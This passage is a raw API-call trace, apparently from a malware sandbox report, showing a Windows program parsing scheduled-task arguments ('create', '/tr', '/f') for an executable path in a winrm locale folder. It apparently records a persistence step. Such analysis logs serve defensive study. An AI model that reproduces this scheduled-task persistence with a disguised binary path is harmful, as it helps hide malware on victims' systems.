lstrlenW (lpString="tr") returned 2 [0155.070] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.070] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|create|") returned 8 [0155.070] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.070] lstrlenW (lpString="|create|") returned 8 [0155.070] lstrlenW (lpString="|tr|") returned 4 [0155.070] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0155.070] SetLastError (dwErrCode=0x490) [0155.070] lstrlenW (lpString="?") returned 1 [0155.070] lstrlenW (lpString="?") returned 1 [0155.071] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.071] lstrlenW (lpString="tr") returned 2 [0155.071] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.071] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|?|") returned 3 [0155.071] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.071] lstrlenW (lpString="|?|") returned 3 [0155.071] lstrlenW (lpString="|tr|") returned 4 [0155.071] SetLastError (dwErrCode=0x490) [0155.071] lstrlenW (lpString="s") returned 1 [0155.071] lstrlenW (lpString="s") returned 1 [0155.071] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.071] lstrlenW (lpString="tr") returned 2 [0155.071] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.071] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|s|") returned 3 [0155.071] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.071] lstrlenW (lpString="|s|") returned 3 [0155.071] lstrlenW (lpString="|tr|") returned 4 [0155.071] SetLastError (dwErrCode=0x490) [0155.071] lstrlenW (lpString="u") returned 1 [0155.071] lstrlenW (lpString="u") returned 1 [0155.071] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.071] lstrlenW (lpString="tr") returned 2 [0155.071] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.071] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|u|") returned 3 [0155.071] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.071] lstrlenW (lpString="|u|") returned 3 [0155.072] lstrlenW (lpString="|tr|") returned 4 [0155.072] SetLastError (dwErrCode=0x490) [0155.072] lstrlenW (lpString="p") returned 1 [0155.072] lstrlenW (lpString="p") returned 1 [0155.072] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.072] lstrlenW (lpString="tr") returned 2 [0155.072] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.072] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|p|") returned 3 [0155.072] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.072] lstrlenW (lpString="|p|") returned 3 [0155.072] lstrlenW (lpString="|tr|") returned 4 [0155.072] SetLastError (dwErrCode=0x490) [0155.072] lstrlenW (lpString="ru") returned 2 [0155.072] lstrlenW (lpString="ru") returned 2 [0155.072] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.084] lstrlenW (lpString="tr") returned 2 [0155.084] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.084] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|ru|") returned 4 [0155.084] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.084] lstrlenW (lpString="|ru|") returned 4 [0155.084] lstrlenW (lpString="|tr|") returned 4 [0155.084] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0155.084] SetLastError (dwErrCode=0x490) [0155.084] lstrlenW (lpString="rp") returned 2 [0155.084] lstrlenW (lpString="rp") returned 2 [0155.084] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.085] lstrlenW (lpString="tr") returned 2 [0155.085] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.085] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|rp|") returned 4 [0155.085] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.085] lstrlenW (lpString="|rp|") returned 4 [0155.085] lstrlenW (lpString="|tr|") returned 4 [0155.085] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0155.085] SetLastError (dwErrCode=0x490) [0155.085] lstrlenW (lpString="sc") returned 2 [0155.085] lstrlenW (lpString="sc") returned 2 [0155.085] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.092] lstrlenW (lpString="tr") returned 2 [0155.092] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.092] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.092] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.092] lstrlenW (lpString="|sc|") returned 4 [0155.092] lstrlenW (lpString="|tr|") returned 4 [0155.093] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0155.093] SetLastError (dwErrCode=0x490) [0155.093] lstrlenW (lpString="mo") returned 2 [0155.093] lstrlenW (lpString="mo") returned 2 [0155.093] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.093] lstrlenW (lpString="tr") returned 2 [0155.093] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.093] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.093] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.093] lstrlenW (lpString="|mo|") returned 4 [0155.093] lstrlenW (lpString="|tr|") returned 4 [0155.093] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0155.093] SetLastError (dwErrCode=0x490) [0155.093] lstrlenW (lpString="d") returned 1 [0155.093] lstrlenW (lpString="d") returned 1 [0155.093] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.093] lstrlenW (lpString="tr") returned 2 [0155.093] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.093] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|d|") returned 3 [0155.093] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.093] lstrlenW (lpString="|d|") returned 3 [0155.093] lstrlenW (lpString="|tr|") returned 4 [0155.093] SetLastError (dwErrCode=0x490) [0155.093] lstrlenW (lpString="m") returned 1 [0155.093] lstrlenW (lpString="m") returned 1 [0155.093] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.094] lstrlenW (lpString="tr") returned 2 [0155.094] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.094] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|m|") returned 3 [0155.094] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.094] lstrlenW (lpString="|m|") returned 3 [0155.094] lstrlenW (lpString="|tr|") returned 4 [0155.094] SetLastError (dwErrCode=0x490) [0155.094] lstrlenW (lpString="i") returned 1 [0155.094] lstrlenW (lpString="i") returned 1 [0155.094] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.094] lstrlenW (lpString="tr") returned 2 [0155.094] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.094] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|i|") returned 3 [0155.094] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.094] lstrlenW (lpString="|i|") returned 3 [0155.094] lstrlenW (lpString="|tr|") returned 4 [0155.094] SetLastError (dwErrCode=0x490) [0155.094] lstrlenW (lpString="tn") returned 2 [0155.094] lstrlenW (lpString="tn") returned 2 [0155.094] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.094] lstrlenW (lpString="tr") returned 2 [0155.094] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.094] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.094] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.094] lstrlenW (lpString="|tn|") returned 4 [0155.095] lstrlenW (lpString="|tr|") returned 4 [0155.095] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0155.095] SetLastError (dwErrCode=0x490) [0155.095] lstrlenW (lpString="tr") returned 2 [0155.095] lstrlenW (lpString="tr") returned 2 [0155.095] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.095] lstrlenW (lpString="tr") returned 2 [0155.095] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.095] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.095] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tr|") returned 4 [0155.095] lstrlenW (lpString="|tr|") returned 4 [0155.095] lstrlenW (lpString="|tr|") returned 4 [0155.095] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0155.095] SetLastError (dwErrCode=0x0) [0155.095] SetLastError (dwErrCode=0x0) [0155.095] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.095] lstrlenW (lpString="-/") returned 2 [0155.095] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.095] SetLastError (dwErrCode=0x490) [0155.095] SetLastError (dwErrCode=0x490) [0155.095] SetLastError (dwErrCode=0x0) [0155.095] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.095] StrChrIW (lpStart="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'", wMatch=0x3a) returned=":\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'" [0155.095] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.095] _memicmp (_Buf1=0x44d4e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.095] _memicmp (_Buf1=0x44d520, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.095] SetLastError (dwErrCode=0x7a) [0155.096] SetLastError (dwErrCode=0x0) [0155.096] SetLastError (dwErrCode=0x0) [0155.096] lstrlenW (lpString="'C") returned 2 [0155.096] lstrlenW (lpString="-/") returned 2 [0155.096] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.096] SetLastError (dwErrCode=0x490) [0155.096] SetLastError (dwErrCode=0x490) [0155.096] SetLastError (dwErrCode=0x0) [0155.096] _memicmp (_Buf1=0x44d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.096] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.096] GetProcessHeap () returned 0x430000 [0155.096] HeapValidate (hHeap=0x430000, dwFlags=0x0, lpMem=0x44d560) returned 1 [0155.096] GetProcessHeap () returned 0x430000 [0155.096] RtlReAllocateHeap (Heap=0x430000, Flags=0xc, Ptr=0x44d560, Size=0x54) returned 0x44dc70 [0155.096] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.096] lstrlenW (lpString=" \x09") returned 2 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0155.096] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0155.097] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0155.097] GetLastError () returned 0x0 [0155.097] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.097] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.098] SetLastError (dwErrCode=0x0) [0155.098] SetLastError (dwErrCode=0x0) [0155.098] lstrlenW (lpString="/f") returned 2 [0155.098] lstrlenW (lpString="-/") returned 2 [0155.098] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.098] lstrlenW (lpString="create") returned 6 [0155.098] lstrlenW (lpString="create") returned 6 [0155.098] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.098] lstrlenW (lpString="f") returned 1 [0155.098] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.098] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|create|") returned 8 [0155.098] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.098] lstrlenW (lpString="|create|") returned 8 [0155.098] lstrlenW (lpString="|f|") returned 3 [0155.098] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0155.098] SetLastError (dwErrCode=0x490) [0155.098] lstrlenW (lpString="?") returned 1 [0155.098] lstrlenW (lpString="?") returned 1 [0155.098] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.098] lstrlenW (lpString="f") returned 1 [0155.098] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.098] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|?|") returned 3 [0155.098] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.098] lstrlenW (lpString="|?|") returned 3 [0155.098] lstrlenW (lpString="|f|") returned 3 [0155.098] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0155.098] SetLastError (dwErrCode=0x490) [0155.098] lstrlenW (lpString="s") returned 1 [0155.098] lstrlenW (lpString="s") returned 1 [0155.098] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.099] lstrlenW (lpString="f") returned 1 [0155.099] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.099] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|s|") returned 3 [0155.099] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.099] lstrlenW (lpString="|s|") returned 3 [0155.099] lstrlenW (lpString="|f|") returned 3 [0155.099] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0155.099] SetLastError (dwErrCode=0x490) [0155.099] lstrlenW (lpString="u") returned 1 [0155.099] lstrlenW (lpString="u") returned 1 [0155.099] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.099] lstrlenW (lpString="f") returned 1 [0155.099] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.099] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|u|") returned 3 [0155.099] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.099] lstrlenW (lpString="|u|") returned 3 [0155.099] lstrlenW (lpString="|f|") returned 3 [0155.099] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0155.099] SetLastError (dwErrCode=0x490) [0155.099] lstrlenW (lpString="p") returned 1 [0155.099] lstrlenW (lpString="p") returned 1 [0155.099] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.099] lstrlenW (lpString="f") returned 1 [0155.099] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.099] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|p|") returned 3 [0155.099] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.099] lstrlenW (lpString="|p|") returned 3 [0155.099] lstrlenW (lpString="|f|") returned 3 [0155.099] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0155.099] SetLastError (dwErrCode=0x490) [0155.099] lstrlenW (lpString="ru") returned 2 [0155.099] lstrlenW (lpString="ru") returned 2 [0155.099] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.100] lstrlenW (lpString="f") returned 1 [0155.100] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.100] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|ru|") returned 4 [0155.100] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.100] lstrlenW (lpString="|ru|") returned 4 [0155.100] lstrlenW (lpString="|f|") returned 3 [0155.100] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0155.100] SetLastError (dwErrCode=0x490) [0155.100] lstrlenW (lpString="rp") returned 2 [0155.100] lstrlenW (lpString="rp") returned 2 [0155.100] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.100] lstrlenW (lpString="f") returned 1 [0155.100] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.100] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|rp|") returned 4 [0155.100] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.100] lstrlenW (lpString="|rp|") returned 4 [0155.100] lstrlenW (lpString="|f|") returned 3 [0155.100] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0155.100] SetLastError (dwErrCode=0x490) [0155.100] lstrlenW (lpString="sc") returned 2 [0155.100] lstrlenW (lpString="sc") returned 2 [0155.100] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.100] lstrlenW (lpString="f") returned 1 [0155.100] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.100] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|sc|") returned 4 [0155.100] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.100] lstrlenW (lpString="|sc|") returned 4 [0155.100] lstrlenW (lpString="|f|") returned 3 [0155.100] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0155.100] SetLastError (dwErrCode=0x490) [0155.100] lstrlenW (lpString="mo") returned 2 [0155.101] lstrlenW (lpString="mo") returned 2 [0155.101] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.101] lstrlenW (lpString="f") returned 1 [0155.101] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.101] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|mo|") returned 4 [0155.101] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.101] lstrlenW (lpString="|mo|") returned 4 [0155.101] lstrlenW (lpString="|f|") returned 3 [0155.101] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0155.101] SetLastError (dwErrCode=0x490) [0155.101] lstrlenW (lpString="d") returned 1 [0155.101] lstrlenW (lpString="d") returned 1 [0155.101] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.101] lstrlenW (lpString="f") returned 1 [0155.101] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.101] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|d|") returned 3 [0155.101] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.101] lstrlenW (lpString="|d|") returned 3 [0155.101] lstrlenW (lpString="|f|") returned 3 [0155.101] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0155.101] SetLastError (dwErrCode=0x490) [0155.101] lstrlenW (lpString="m") returned 1 [0155.101] lstrlenW (lpString="m") returned 1 [0155.101] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.101] lstrlenW (lpString="f") returned 1 [0155.101] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.101] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|m|") returned 3 [0155.101] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.101] lstrlenW (lpString="|m|") returned 3 [0155.101] lstrlenW (lpString="|f|") returned 3 [0155.101] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0155.101] SetLastError (dwErrCode=0x490) [0155.102] lstrlenW (lpString="i") returned 1 [0155.102] lstrlenW (lpString="i") returned 1 [0155.102] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.102] lstrlenW (lpString="f") returned 1 [0155.102] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.102] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|i|") returned 3 [0155.102] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.102] lstrlenW (lpString="|i|") returned 3 [0155.102] lstrlenW (lpString="|f|") returned 3 [0155.102] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0155.102] SetLastError (dwErrCode=0x490) [0155.102] lstrlenW (lpString="tn") returned 2 [0155.102] lstrlenW (lpString="tn") returned 2 [0155.102] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.102] lstrlenW (lpString="f") returned 1 [0155.102] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.102] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|tn|") returned 4 [0155.102] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c208 | out: _Buffer="|f|") returned 3 [0155.102] lstrlenW (lpString="|tn|") returned 4 [0155.102] lstrlenW (lpString="|f|") returned 3 [0155.102] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0155.102] SetLastError (dwErrCode=0x490) [0155.102] lstrlenW (lpString="tr") returned 2 [0155.102] lstrlenW (lpString="tr") returned 2 [0155.102] _memicmp 